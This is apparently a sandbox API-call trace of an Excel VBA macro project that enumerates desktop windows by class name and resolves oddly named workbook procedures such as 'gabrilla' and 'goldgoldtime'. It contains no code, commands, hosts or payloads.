[0159.869] GetClassNameA (in: hWnd=0x10050, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0159.869] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0159.869] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0159.869] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x10058 [0159.869] GetClassNameA (in: hWnd=0x10058, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.869] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.869] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0159.869] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10054 [0159.869] GetClassNameA (in: hWnd=0x10054, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0159.869] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0159.869] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.869] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004a [0159.869] GetClassNameA (in: hWnd=0x1004a, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0159.869] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0159.869] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0159.869] GetWindow (hWnd=0x1004a, uCmd=0x2) returned 0x20046 [0159.869] GetClassNameA (in: hWnd=0x20046, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0159.869] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0159.869] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0159.869] GetWindow (hWnd=0x20046, uCmd=0x2) returned 0x10048 [0159.869] GetClassNameA (in: hWnd=0x10048, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.869] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.869] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0159.869] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x30040 [0159.869] GetClassNameA (in: hWnd=0x30040, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0159.869] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0159.869] GetWindowThreadProcessId (in: hWnd=0x30040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0159.869] GetWindow (hWnd=0x30040, uCmd=0x2) returned 0x10044 [0159.869] GetClassNameA (in: hWnd=0x10044, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0159.869] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0159.869] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x658 [0159.869] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x10042 [0159.869] GetClassNameA (in: hWnd=0x10042, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.869] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.870] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0159.870] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x1005e [0159.870] GetClassNameA (in: hWnd=0x1005e, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.870] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.870] GetWindowThreadProcessId (in: hWnd=0x1005e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0159.870] GetWindow (hWnd=0x1005e, uCmd=0x2) returned 0x1005c [0159.870] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0159.870] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0159.870] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0159.870] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x20074 [0159.870] GetClassNameA (in: hWnd=0x20074, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0159.870] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0159.870] GetWindowThreadProcessId (in: hWnd=0x20074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0159.870] GetWindow (hWnd=0x20074, uCmd=0x2) returned 0x0 [0159.870] IMalloc:Alloc (This=0x7fefe465380, cb=0x18) returned 0x5a32aa0 [0159.870] IMalloc:Free (This=0x7fefe465380, pv=0x5a32aa0) [0160.278] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0160.278] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb737068, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0160.278] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0160.278] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb737068, cbMultiByte=11, lpWideCharStr=0xb732448, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11 [0160.279] SysStringByteLen (bstr="慧牢汩慬") returned 0x8 [0160.279] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb737068, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0160.279] SysStringByteLen (bstr="慧牢汩慬") returned 0x8 [0160.279] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb737068, cbMultiByte=9, lpWideCharStr=0xb735d78, cchWideChar=9 | out: lpWideCharStr="gabrilla") returned 9 [0160.279] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.gabrilla") returned 0x10f0f8 [0160.279] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.gabrilla") returned 0x10f0f8 [0160.279] lstrlenA (lpString="ThisWorkbook.gabrilla") returned 21 [0160.279] lstrcpyA (in: lpString1=0x5ce9975, lpString2="ThisWorkbook.gabrilla" | out: lpString1="ThisWorkbook.gabrilla") returned="ThisWorkbook.gabrilla" [0160.279] SysStringByteLen (bstr="潧摬潧摬楴敭") returned 0xc [0160.279] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb737068, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0160.279] SysStringByteLen (bstr="潧摬潧摬楴敭") returned 0xc [0160.279] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb737068, cbMultiByte=13, lpWideCharStr=0xb8f7378, cchWideChar=13 | out: lpWideCharStr="goldgoldtime") returned 13 [0160.279] lstrcpyA (in: lpString1=0x5cebd05, lpString2="ThisWorkbook.goldgoldtime" | out: lpString1="ThisWorkbook.goldgoldtime") returned="ThisWorkbook.goldgoldtime" [0160.280] SysStringByteLen (bstr="慲穭獥楳i") returned 0x9 [0160.280] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb737068, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0160.280] SysStringByteLen (bstr="慲穭獥楳i") returned 0x9 [0160.280] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb737068, cbMultiByte=10, lpWideCharStr=0xb735d78, cchWideChar=10 | out: lpWideCharStr="ramzessii") returned 10 [0160.280] lstrcpyA (in: lpString1=0x5cebd55, lpString2="ThisWorkbook.ramzessii" | out: lpString1="ThisWorkbook.ramzessii") returned="ThisWorkbook.ramzessii" [0160.280] SysStringByteLen (bstr="楓杮敬潓杮") returned 0xa [0160.280] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb737068, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0160.280] SysStringByteLen (bstr="楓杮敬潓杮") returned 0xa [0160.280] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb737068, cbMultiByte=11, lpWideCharStr=0xb735d78, cchWideChar=11 | out: lpWideCharStr="SingleSong") returned 11 [0160.280] lstrcpyA (in: lpString1=0x5cebda5, lpString2="ThisWorkbook.SingleSong" | out: lpString1="ThisWorkbook.SingleSong") returned="ThisWorkbook.SingleSong" [0160.280] SysStringByteLen (bstr="敤浰湩杮") returned 0x8 [0160.280] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb737068, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0160.280] SysStringByteLen (bstr="敤浰湩杮") returned 0x8 [0160.281] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb737068, cbMultiByte=9, lpWideCharStr=0xb735d78, cchWideChar=9 | out: lpWideCharStr="depminng") returned 9 [0160.281] lstrcpyA (in: lpString1=0x5cebdf5, lpString2="ThisWorkbook.depminng" | out: lpString1="ThisWorkbook.depminng") returned="ThisWorkbook.depminng" [0160.281] SysStringByteLen (bstr="楢瑧睯牥瑳湯e") returned 0xd [0160.281] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb737068, cbMultiByte=13, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0160.281] SysStringByteLen (bstr="楢瑧睯牥瑳湯e") returned 0xd [0160.281] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb737068, cbMultiByte=14, lpWideCharStr=0x6460ba8, cchWideChar=14 | out: lpWideCharStr="bigtowerstone") returned 14 [0160.281] lstrcpyA (in: lpString1=0x5cebe45, lpString2="ThisWorkbook.bigtowerstone" | out: lpString1="ThisWorkbook.bigtowerstone") returned="ThisWorkbook.bigtowerstone" [0160.281] SysStringByteLen (bstr="畮慧潨敮獹") returned 0xa [0160.281] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb737068, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0160.281] SysStringByteLen (bstr="畮慧潨敮獹") returned 0xa [0160.281] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb737068, cbMultiByte=11, lpWideCharStr=0xb735d78, cchWideChar=11 | out: lpWideCharStr="nugahoneys") returned 11 [0160.281] lstrcpyA (in: lpString1=0x5cebe95, lpString2="ThisWorkbook.nugahoneys" | out: lpString1="ThisWorkbook.nugahoneys") returned="ThisWorkbook.nugahoneys" [0160.282] SysStringByteLen (bstr="慦慴敬牲牲牯d") returned 0xd [0160.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb737068, cbMultiByte=13, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0160.282] SysStringByteLen (bstr="慦慴敬牲牲牯d") returned 0xd [0160.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb737068, cbMultiByte=14, lpWideCharStr=0x6460ba8, cchWideChar=14 | out: lpWideCharStr="fatalerrrrord") returned 14 [0160.282] lstrcpyA (in: lpString1=0x5cebee5, lpString2="ThisWorkbook.fatalerrrrord" | out: lpString1="ThisWorkbook.fatalerrrrord") returned="ThisWorkbook.fatalerrrrord" [0160.282] SysStringByteLen (bstr="瑲灹潥摬捳潨汯") returned 0xe [0160.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb737068, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0160.282] SysStringByteLen (bstr="瑲灹潥摬捳潨汯") returned 0xe [0160.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb737068, cbMultiByte=15, lpWideCharStr=0x6460ba8, cchWideChar=15 | out: lpWideCharStr="rtypeoldschool") returned 15 [0160.282] lstrcpyA (in: lpString1=0x5cebf35, lpString2="ThisWorkbook.rtypeoldschool" | out: lpString1="ThisWorkbook.rtypeoldschool") returned="ThisWorkbook.rtypeoldschool" [0160.282] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0160.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb735d78, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0160.282] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0160.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb735d78, cbMultiByte=11, lpWideCharStr=0xb732448, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11 [0160.283] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0160.283] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb735d78, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0160.283] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0160.283] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb735d78, cbMultiByte=11, lpWideCharStr=0xb737068, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11 [0160.283] SysStringByteLen (bstr="慧牢汩慬") returned 0x8 [0160.283] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb735d78, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0160.283] SysStringByteLen (bstr="慧牢汩慬") returned 0x8 [0160.283] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb735d78, cbMultiByte=9, lpWideCharStr=0xb732448, cchWideChar=9 | out: lpWideCharStr="gabrilla") returned 9 [0160.283] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.gabrilla") returned 0x10f0f8 [0160.283] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.gabrilla") returned 0x10f0f8 [0160.284] lstrlenA (lpString="ThisWorkbook.gabrilla") returned 21 [0160.284] lstrcpyA (in: lpString1=0x5ce9975, lpString2="ThisWorkbook.gabrilla" | out: lpString1="ThisWorkbook.gabrilla") returned="ThisWorkbook.gabrilla" [0160.284] SysStringByteLen (bstr="潧摬潧摬楴敭") returned 0xc [0160.284] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb735d78, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0160.284] SysStringByteLen (bstr="潧摬潧摬楴敭") returned 0xc [0160.284] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb735d78, cbMultiByte=13, lpWideCharStr=0x645f728, cchWideChar=13 | out: lpWideCharStr="goldgoldtime") returned 13 [0160.284] lstrcpyA (in: lpString1=0x5cebd05, lpString2="ThisWorkbook.goldgoldtime" | out: lpString1="ThisWorkbook.goldgoldtime") returned="ThisWorkbook.goldgoldtime" [0160.284] SysStringByteLen (bstr="慲穭獥楳i") returned 0x9 [0160.284] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb735d78, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0160.284] SysStringByteLen (bstr="慲穭獥楳i") returned 0x9 [0160.284] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb735d78, cbMultiByte=10, lpWideCharStr=0xb732448, cchWideChar=10 | out: lpWideCharStr="ramzessii") returned 10 [0160.284] lstrcpyA (in: lpString1=0x5cebd55, lpString2="ThisWorkbook.ramzessii" | out: lpString1="ThisWorkbook.ramzessii") returned="ThisWorkbook.ramzessii" [0160.284] SysStringByteLen (bstr="楓杮敬潓杮") returned 0xa [0160.284] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb735d78, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0160.284] SysStringByteLen (bstr="楓杮敬潓杮") returned 0xa [0160.284] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb735d78, cbMultiByte=11, lpWideCharStr=0xb732448, cchWideChar=11 | out: lpWideCharStr="SingleSong") returned 11 [0160.285] lstrcpyA (in: lpString1=0x5cebda5, lpString2="ThisWorkbook.SingleSong" | out: lpString1="ThisWorkbook.SingleSong") returned="ThisWorkbook.SingleSong" [0160.285] SysStringByteLen (bstr="敤浰湩杮") returned 0x8 [0160.285] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb735d78, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0160.285] SysStringByteLen (bstr="敤浰湩杮") returned 0x8 [0160.285] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb735d78, cbMultiByte=9, lpWideCharStr=0xb732448, cchWideChar=9 | out: lpWideCharStr="depminng") returned 9 [0160.285] lstrcpyA (in: lpString1=0x5cebdf5, lpString2="ThisWorkbook.depminng" | out: lpString1="ThisWorkbook.depminng") returned="ThisWorkbook.depminng" [0160.285] SysStringByteLen (bstr="楢瑧睯牥瑳湯e") returned 0xd [0160.285] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb735d78, cbMultiByte=13, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0160.285] SysStringByteLen (bstr="楢瑧睯牥瑳湯e") returned 0xd [0160.285] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb735d78, cbMultiByte=14, lpWideCharStr=0x645f728, cchWideChar=14 | out: lpWideCharStr="bigtowerstone") returned 14 [0160.285] lstrcpyA (in: lpString1=0x5cebe45, lpString2="ThisWorkbook.bigtowerstone" | out: lpString1="ThisWorkbook.bigtowerstone") returned="ThisWorkbook.bigtowerstone" [0160.285] SysStringByteLen (bstr="畮慧潨敮獹") returned 0xa [0160.285] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb735d78, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0160.285] SysStringByteLen (bstr="畮慧潨敮獹") returned 0xa [0160.286] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb735d78, cbMultiByte=11, lpWideCharStr=0xb732448, cchWideChar=11 | out: lpWideCharStr="nugahoneys") returned 11 [0160.286] lstrcpyA (in: lpString1=0x5cebe95, lpString2="ThisWorkbook.nugahoneys" | out: lpString1="ThisWorkbook.nugahoneys") returned="ThisWorkbook.nugahoneys" [0160.286] SysStringByteLen (bstr="慦慴敬牲牲牯d") returned 0xd [0160.286] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb735d78, cbMultiByte=13, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0160.286] SysStringByteLen (bstr="慦慴敬牲牲牯d") returned 0xd [0160.286] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb735d78, cbMultiByte=14, lpWideCharStr=0x645f728, cchWideChar=14 | out: lpWideCharStr="fatalerrrrord") returned 14 [0160.286] lstrcpyA (in: lpString1=0x5cebee5, lpString2="ThisWorkbook.fatalerrrrord" | out: lpString1="ThisWorkbook.fatalerrrrord") returned="ThisWorkbook.fatalerrrrord" [0160.286] SysStringByteLen (bstr="瑲灹潥摬捳潨汯") returned 0xe [0160.286] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb735d78, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0160.286] SysStringByteLen (bstr="瑲灹潥摬捳潨汯") returned 0xe [0160.286] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb735d78, cbMultiByte=15, lpWideCharStr=0x645f728, cchWideChar=15 | out: lpWideCharStr="rtypeoldschool") returned 15 [0160.286] lstrcpyA (in: lpString1=0x5cebf35, lpString2="ThisWorkbook.rtypeoldschool" | out: lpString1="ThisWorkbook.rtypeoldschool") returned="ThisWorkbook.rtypeoldschool" [0160.286] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0160.286] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb732448, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0160.287] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0160.287] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb732448, cbMultiByte=11, lpWideCharStr=0xb737068, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11 [0160.287] strncpy_s (in: _Dst=0x58bcfb0, _DstSize=0x17, _Src="ThisWorkbook.gabrilla", _MaxCount=0x15 | out: _Dst="ThisWorkbook.gabrilla") returned 0x0 [0160.287] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0160.287] bsearch (_Key=0x1fe178, _Base=0x66e0fd0, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5cace28) returned 0x66e0fd8 [0160.287] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3 [0160.287] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 2 [0160.288] strncpy_s (in: _Dst=0x6181030, _DstSize=0x1b, _Src="ThisWorkbook.goldgoldtime", _MaxCount=0x19 | out: _Dst="ThisWorkbook.goldgoldtime") returned 0x0 [0160.288] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0160.288] bsearch (_Key=0x1fe158, _Base=0x66e0fd0, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5cace28) returned 0x66e0fd8 [0160.288] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3 [0160.288] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 2 [0160.288] strncpy_s (in: _Dst=0x58bcfb0, _DstSize=0x18, _Src="ThisWorkbook.ramzessii", _MaxCount=0x16 | out: _Dst="ThisWorkbook.ramzessii") returned 0x0 [0160.288] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0160.288] bsearch (_Key=0x1fe178, _Base=0x66e0fd0, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5cace28) returned 0x66e0fd8 [0160.288] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3 [0160.288] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 2 [0160.289] strncpy_s (in: _Dst=0x6181030, _DstSize=0x19, _Src="ThisWorkbook.SingleSong", _MaxCount=0x17 | out: _Dst="ThisWorkbook.SingleSong") returned 0x0 [0160.289] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0160.289] bsearch (_Key=0x1fe178, _Base=0x66e0fd0, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5cace28) returned 0x66e0fd8 [0160.289] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3 [0160.289] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 2 [0160.289] strncpy_s (in: _Dst=0x58bcfb0, _DstSize=0x17, _Src="ThisWorkbook.depminng", _MaxCount=0x15 | out: _Dst="ThisWorkbook.depminng") returned 0x0 [0160.289] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0160.289] bsearch (_Key=0x1fe178, _Base=0x66e0fd0, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5cace28) returned 0x66e0fd8 [0160.289] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3 [0160.289] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 2 [0160.289] strncpy_s (in: _Dst=0x6181030, _DstSize=0x1c, _Src="ThisWorkbook.bigtowerstone", _MaxCount=0x1a | out: _Dst="ThisWorkbook.bigtowerstone") returned 0x0 [0160.289] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0160.289] bsearch (_Key=0x1fe158, _Base=0x66e0fd0, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5cace28) returned 0x66e0fd8 [0160.289] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3 [0160.289] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 2 [0160.290] strncpy_s (in: _Dst=0x6181030, _DstSize=0x19, _Src="ThisWorkbook.nugahoneys", _MaxCount=0x17 | out: _Dst="ThisWorkbook.nugahoneys") returned 0x0 [0160.290] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0160.290] bsearch (_Key=0x1fe178, _Base=0x66e0fd0, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5cace28) returned 0x66e0fd8 [0160.290] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3 [0160.290] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 2 [0160.290] strncpy_s (in: _Dst=0x6181030, _DstSize=0x1c, _Src="ThisWorkbook.fatalerrrrord", _MaxCount=0x1a | out: _Dst="ThisWorkbook.fatalerrrrord") returned 0x0 [0160.290] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0160.290] bsearch (_Key=0x1fe158, _Base=0x66e0fd0, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5cace28) returned 0x66e0fd8 [0160.290] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3 [0160.290] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 2 [0160.291] strncpy_s (in: _Dst=0x6181030, _DstSize=0x1d, _Src="ThisWorkbook.rtypeoldschool", _MaxCount=0x1b | out: _Dst="ThisWorkbook.rtypeoldschool") returned 0x0 [0160.291] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0160.291] bsearch (_Key=0x1fe158, _Base=0x66e0fd0, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5cace28) returned 0x66e0fd8 [0160.291] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3 [0160.291] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) 